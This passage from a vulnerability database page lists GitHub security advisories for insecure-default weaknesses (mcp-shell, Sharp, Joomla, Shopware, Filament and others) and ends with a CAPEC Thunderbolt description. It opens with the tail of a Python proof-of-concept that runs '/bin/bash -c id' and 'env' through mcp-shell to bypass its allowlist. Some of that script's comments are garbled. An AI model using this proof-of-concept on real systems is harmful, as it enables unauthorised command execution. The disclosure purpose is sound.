and status == \"success\":\n                    exploit_passed = True\n                    exploit_evidence = (\n                        f\"command=/bin/bash -c id | status={status} | \"\n                        f\"exit_code={exit_code} | stdout={stdout_val}\"\n                    )\n                    print(f\"\\n[+] PASS: uid= check \u2192 /bin/bash -c text arbitrary command execute success!\")\n                    print(f\"[+] Deterministic evidence: {exploit_evidence}\")\n            except json.JSONDecodeError:\n                if \"uid=\" in text:\n                    exploit_passed = True\n                    exploit_evidence = text\n                    print(f\"[+] PASS: uid= confirmed (raw): {text[:200]}\")\n    else:\n        print(\"[-] id=2 response none (secondstext failure or server error)\")\n\n    # [id=3] id directly execute \u2192 block check (text)\n    if 3 in responses:\n        text = extract_text(responses[3]) or \"\"\n        resp_str = str(responses[3])\n        blocked = (\n            \"not in allowed list\" in text\n            or \"not in allowed list\" in resp_str\n            or \"Security violation\" in text\n            or \"isError\" in resp_str and \"true\" in resp_str.lower()\n        )\n        if blocked:\n            print(f\"\\n[+] text check: \u0027id\u0027 directly executetext blocked (allowlist behavior normal)\")\n            print(f\"    \u2192 allowlist texttimestext /bin/bash -c pathfromonly occurdonetext proofdone\")\n        else:\n            print(f\"[*] \u0027id\u0027 directly result: {text[:200]}\")\n\n    # [id=4] /bin/bash -c env add evidence\n    if 4 in responses:\n        text = extract_text(responses[4]) or \"\"\n        try:\n            result = json.loads(text)\n            stdout_val = result.get(\"stdout\", \"\")\n            if \"PATH=\" in stdout_val or \"HOME=\" in stdout_val:\n                env_lines = stdout_val.splitlines()[:5]\n                print(f\"\\n[+] add evidence: /bin/bash -c env success (envtext allowlist textcontains)\")\n                print(f\"    first 5lines: {chr(10).join(\u0027    \u0027 + l for l in env_lines)}\")\n        except Exception:\n            pass\n\n    return exploit_passed, exploit_evidence\n\n\nif __name__ == \"__main__\":\n    passed, evidence = run_poc()\n    print()\n    if passed:\n        print(\"[+] vulnerability reproduction result: PASS\")\n        sys.exit(0)\n    else:\n        print(\"[-] vulnerability reproduction result: FAIL\")\n        sys.exit(1)\n```",
  "id": "GHSA-3x77-wg38-92r3",
  "modified": "2026-08-25T15:41:30Z",
  "published": "2026-08-25T15:41:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sonirico/mcp-shell/security/advisories/GHSA-3x77-wg38-92r3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sonirico/mcp-shell/pull/16"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sonirico/mcp-shell"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable"
}

GHSA-44PX-2M24-8WV4

Vulnerability from github – Published: 2026-08-03 09:32 – Updated: 2026-08-03 09:32
VLAI
Details

Network Scanner Tool and Network Scanner Tool Lite provided by Sharp Corporation, with the initial configuration, require no authentication and accept files unlimitedly. When the affected products are used with the initial configuration, anyone can connect to them without authentication and upload files unlimitedly. This may cause a denial-of-service (DoS) condition on the PC. Furthermore, if a malicious file is uploaded, a PC user may be tricked to execute the file to attack other entities from that PC.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-62416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T09:17:05Z",
    "severity": "MODERATE"
  },
  "details": "Network Scanner Tool and Network Scanner Tool Lite provided by Sharp Corporation, with the initial configuration, require no authentication and accept files unlimitedly. When the affected products are used with the initial configuration, anyone can connect to them without authentication and upload files unlimitedly. This may cause a denial-of-service (DoS) condition on the PC. Furthermore, if a malicious file is uploaded, a PC user may be tricked to execute the file to attack other entities from that PC.",
  "id": "GHSA-44px-2m24-8wv4",
  "modified": "2026-08-03T09:32:38Z",
  "published": "2026-08-03T09:32:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62416"
    },
    {
      "type": "WEB",
      "url": "https://corporate.jp.sharp/info/product-security/advisory-list/2026-005"
    },
    {
      "type": "WEB",
      "url": "https://global.sharp/corporate/info/product-security/advisory-list/2026-005"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/vu/JVNVU92540957"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-46RQ-Q996-RXC2

Vulnerability from github – Published: 2024-03-01 12:30 – Updated: 2024-11-04 21:30
VLAI
Details

Initialization of a resource with an insecure default vulnerability in OET-213H-BTS1 sold in Japan by Atsumi Electric Co., Ltd. allows a network-adjacent unauthenticated attacker to configure and control the affected product.

Severity
8.3 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-25972"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-01T10:15:07Z",
    "severity": "HIGH"
  },
  "details": "Initialization of a resource with an insecure default vulnerability in OET-213H-BTS1 sold in Japan by Atsumi Electric Co., Ltd. allows a network-adjacent unauthenticated attacker to configure and control the affected product.",
  "id": "GHSA-46rq-q996-rxc2",
  "modified": "2024-11-04T21:30:26Z",
  "published": "2024-03-01T12:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25972"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN77203800"
    },
    {
      "type": "WEB",
      "url": "https://www.atsumi.co.jp/info-20240229.html"
    },
    {
      "type": "WEB",
      "url": "https://www.atsumi.co.jp/pdf/oet-213h-bts1.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4882-55QG-GJ5W

Vulnerability from github – Published: 2026-07-17 18:31 – Updated: 2026-07-20 21:31
VLAI
Details

The Joomla extension Events Booking prior version 5.8.0 did by default allow unauthenticated users to upload media assets.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-60024"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T16:17:16Z",
    "severity": "CRITICAL"
  },
  "details": "The Joomla extension Events Booking prior version 5.8.0 did by default allow unauthenticated users to upload media assets.",
  "id": "GHSA-4882-55qg-gj5w",
  "modified": "2026-07-20T21:31:43Z",
  "published": "2026-07-17T18:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60024"
    },
    {
      "type": "WEB",
      "url": "https://joomdonation.com/joomla-extensions/events-booking-joomla-events-registration.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4F33-3H34-C9HP

Vulnerability from github – Published: 2022-05-13 01:52 – Updated: 2022-05-13 01:52
VLAI
Details

In Android before security patch level 2018-04-05 on Qualcomm Snapdragon Mobile and Snapdragon Wear MDM9206, MDM9607, MDM9635M, MDM9650, MDM9655, SD 210/SD 212/SD 205, SD 410/12, SD 425, SD 427, SD 430, SD 435, SD 450, SD 615/16/SD 415, SD 625, SD 650/52, SD 820, SD 835, SD 845, SDM630, SDM636, SDM660, Snapdragon_High_Med_2016, the default build configuration of deviceprogrammer in BOOT.BF.3.0 enables the flag SKIP_SECBOOT_CHECK_NOT_RECOMMENDED_BY_QUALCOMM which will open up the peek and poke commands to any memory location on the target.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-3591"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-11T15:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "In Android before security patch level 2018-04-05 on Qualcomm Snapdragon Mobile and Snapdragon Wear MDM9206, MDM9607, MDM9635M, MDM9650, MDM9655, SD 210/SD 212/SD 205, SD 410/12, SD 425, SD 427, SD 430, SD 435, SD 450, SD 615/16/SD 415, SD 625, SD 650/52, SD 820, SD 835, SD 845, SDM630, SDM636, SDM660, Snapdragon_High_Med_2016, the default build configuration of deviceprogrammer in BOOT.BF.3.0 enables the flag SKIP_SECBOOT_CHECK_NOT_RECOMMENDED_BY_QUALCOMM which will open up the peek and poke commands to any memory location on the target.",
  "id": "GHSA-4f33-3h34-c9hp",
  "modified": "2022-05-13T01:52:33Z",
  "published": "2022-05-13T01:52:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3591"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2018-04-01"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/103671"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4GCV-68WG-8J74

Vulnerability from github – Published: 2025-07-21 18:32 – Updated: 2025-08-07 15:33
VLAI
Details

In TRENDnet TEW-WLC100P 2.03b03, the i_dont_care_about_security_and_use_aggressive_mode_psk option is enabled in the strongSwan configuration file, so that IKE Responders are allowed to use IKEv1 Aggressive Mode with Pre-Shared Keys to conduct offline attacks on the openly transmitted hash of the PSK.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-44647"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-21T16:15:28Z",
    "severity": "HIGH"
  },
  "details": "In TRENDnet TEW-WLC100P 2.03b03, the i_dont_care_about_security_and_use_aggressive_mode_psk option is enabled in the strongSwan configuration file, so that IKE Responders are allowed to use IKEv1 Aggressive Mode with Pre-Shared Keys to conduct offline attacks on the openly transmitted hash of the PSK.",
  "id": "GHSA-4gcv-68wg-8j74",
  "modified": "2025-08-07T15:33:08Z",
  "published": "2025-07-21T18:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-44647"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/TPCchecker/18c32439ed13feaed99f8229d1749892"
    },
    {
      "type": "WEB",
      "url": "https://www.notion.so/CVE-2025-44647-24754a1113e780b0a130d4439861bf3c"
    },
    {
      "type": "WEB",
      "url": "http://tew-wlc100p.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4GVJ-3C7W-RV98

Vulnerability from github – Published: 2026-02-17 18:32 – Updated: 2026-02-17 18:32
VLAI
Details

A vulnerability was found in Beetel 777VR1 up to 01.00.09. This affects an unknown function of the component Telnet Service/SSH Service. The manipulation results in insecure default initialization of resource. The attack can only be performed from the local network. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.3 (Medium)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-2617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-17T16:20:29Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in Beetel 777VR1 up to 01.00.09. This affects an unknown function of the component Telnet Service/SSH Service. The manipulation results in insecure default initialization of resource. The attack can only be performed from the local network. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-4gvj-3c7w-rv98",
  "modified": "2026-02-17T18:32:57Z",
  "published": "2026-02-17T18:32:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2617"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/raghav20232023/39e3d88d1bc2bcef89bb0f3b5fbb73e0"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/raghav20232023/39e3d88d1bc2bcef89bb0f3b5fbb73e0#proofsteps-to-reproduce"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.346267"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.346267"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.751436"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.751568"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4H9W-7VFP-PX8M

Vulnerability from github – Published: 2025-04-09 13:53 – Updated: 2025-09-10 21:09
VLAI
Summary
Shopware default newsletter opt-in settings allow for mass sign-up abuse
Details

Impact

Currently the default settings for double-opt-in allow for mass unsolicited newsletter sign-ups without confirmation.

Default settings are:

Newsletter: Double Opt-in - active

Newsletter: Double opt-in for registered customers - disabled

Log-in & sign-up: Double opt-in on sign-up - disabled

With these settings, anyone can register an account on the shop using any e-mail-address and then check the check-box in the account page to sign up for the newsletter. The recipient will receive two mails confirming registering and signing up for the newsletter, no confirmation link needed to be clicked for either. In the backend the recipient is set to “instantly active”.

Patches

Update to Shopware 6.6.10.3 or 6.5.8.17

Workarounds

For older versions of 6.4, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
2.7 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:U
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.6.0.0-rc1"
            },
            {
              "fixed": "6.6.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.6.0.0-rc1"
            },
            {
              "fixed": "6.6.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.7.0.0-rc1"
            },
            {
              "fixed": "6.7.0.0-rc2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.7.0.0-rc1"
            },
            {
              "fixed": "6.7.0.0-rc2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.5.8.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.5.8.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-32378"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-799"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-09T13:53:11Z",
    "nvd_published_at": "2025-04-09T16:15:25Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nCurrently the default settings for double-opt-in allow for mass unsolicited newsletter sign-ups without confirmation.\n\nDefault settings are:\n\nNewsletter: Double Opt-in - active\n\nNewsletter: Double opt-in for registered customers - disabled\n\nLog-in \u0026 sign-up: Double opt-in on sign-up - disabled\n\nWith these settings, anyone can register an account on the shop using any e-mail-address and then check the check-box in the account page to sign up for the newsletter. The recipient will receive two mails confirming registering and signing up for the newsletter, no confirmation link needed to be clicked for either. In the backend the recipient is set to \u201cinstantly active\u201d.\n\n### Patches\nUpdate to Shopware 6.6.10.3 or 6.5.8.17\n\n### Workarounds\nFor older versions of 6.4, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.",
  "id": "GHSA-4h9w-7vfp-px8m",
  "modified": "2025-09-10T21:09:57Z",
  "published": "2025-04-09T13:53:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shopware/shopware/security/advisories/GHSA-4h9w-7vfp-px8m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32378"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shopware/shopware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Shopware default newsletter opt-in settings allow for mass sign-up abuse"
}

GHSA-4HXW-GC2Q-F6F3

Vulnerability from github – Published: 2024-11-07 16:14 – Updated: 2026-06-08 20:07
VLAI
Summary
Filament has exported files stored in default (`public`) filesystem if not reconfigured
Details

All Filament features that interact with storage use the default_filesystem_disk config option. This allows the user to easily swap their storage driver to something production-ready like s3 when deploying their app, without having to touch multiple configuration options and potentially forgetting about some.

The default disk is set to public when you first install Filament, since this allows users to quickly get started developing with a functional disk that allows features such as file upload previews locally without the need to set up an S3 disk with temporary URL support.

However, some features of Filament such as exports also rely on storage, and the files that are stored contain data that should often not be public. This is not an issue for the many deployed applications, since many use a secure default disk such as S3 in production. However, CWE-1188 suggests that having the public disk as the default disk in Filament is a security vulnerability itself:

Developers often choose default values that leave the product as open and easy to use as possible out-of-the-box, under the assumption that the administrator can (or should) change the default value. However, this ease-of-use comes at a cost when the default is insecure and the administrator does not change it.

As such, we have implemented a measure to protect users whereby if the public disk is set as the default disk, the exports feature will automatically swap it out for the local disk, if that exists. Users who set the default disk to local or s3 already are not affected. If a user wants to continue to use the public disk for exports, they can by setting the export disk deliberately.

Severity
2.4 (Low)
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:N
2.3 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "filament/actions"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.123"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-51758"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-07T16:14:13Z",
    "nvd_published_at": "2024-11-07T18:15:17Z",
    "severity": "LOW"
  },
  "details": "All Filament features that interact with storage use the `default_filesystem_disk` config option. This allows the user to easily swap their storage driver to something production-ready like `s3` when deploying their app, without having to touch multiple configuration options and potentially forgetting about some.\n\nThe default disk is set to `public` when you first install Filament, since this allows users to quickly get started developing with a functional disk that allows features such as file upload previews locally without the need to set up an S3 disk with temporary URL support.\n\nHowever, some features of Filament such as exports also rely on storage, and the files that are stored contain data that should often not be public. This is not an issue for the many deployed applications, since many use a secure default disk such as S3 in production. However, [CWE-1188](https://cwe.mitre.org/data/definitions/1188.html) suggests that having the `public` disk as the default disk in Filament is a security vulnerability itself:\n\n\u003e Developers often choose default values that leave the product as open and easy to use as possible out-of-the-box, under the assumption that the administrator can (or should) change the default value. However, this ease-of-use comes at a cost when the default is insecure and the administrator does not change it.\n\nAs such, we have implemented a measure to protect users whereby if the `public` disk is set as the default disk, the exports feature will automatically swap it out for the `local` disk, if that exists. Users who set the default disk to `local` or `s3` already are not affected. If a user wants to continue to use the `public` disk for exports, they can by [setting the export disk](https://filamentphp.com/docs/3.x/actions/prebuilt-actions/export#customizing-the-storage-disk) deliberately.",
  "id": "GHSA-4hxw-gc2q-f6f3",
  "modified": "2026-06-08T20:07:05Z",
  "published": "2024-11-07T16:14:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filamentphp/filament/security/advisories/GHSA-4hxw-gc2q-f6f3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51758"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filamentphp/filament/commit/19f5347f0e17d9f4eb515e24ea5632031c6829df"
    },
    {
      "type": "WEB",
      "url": "https://filamentphp.com/docs/3.x/actions/prebuilt-actions/export#customizing-the-storage-disk"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filamentphp/filament"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filamentphp/filament/blob/3.x/packages/actions/src/Exports/Exporter.php#L144-L153"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Filament has exported files stored in default (`public`) filesystem if not reconfigured"
}

No mitigation information available for this CWE.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

← Back to the CWE list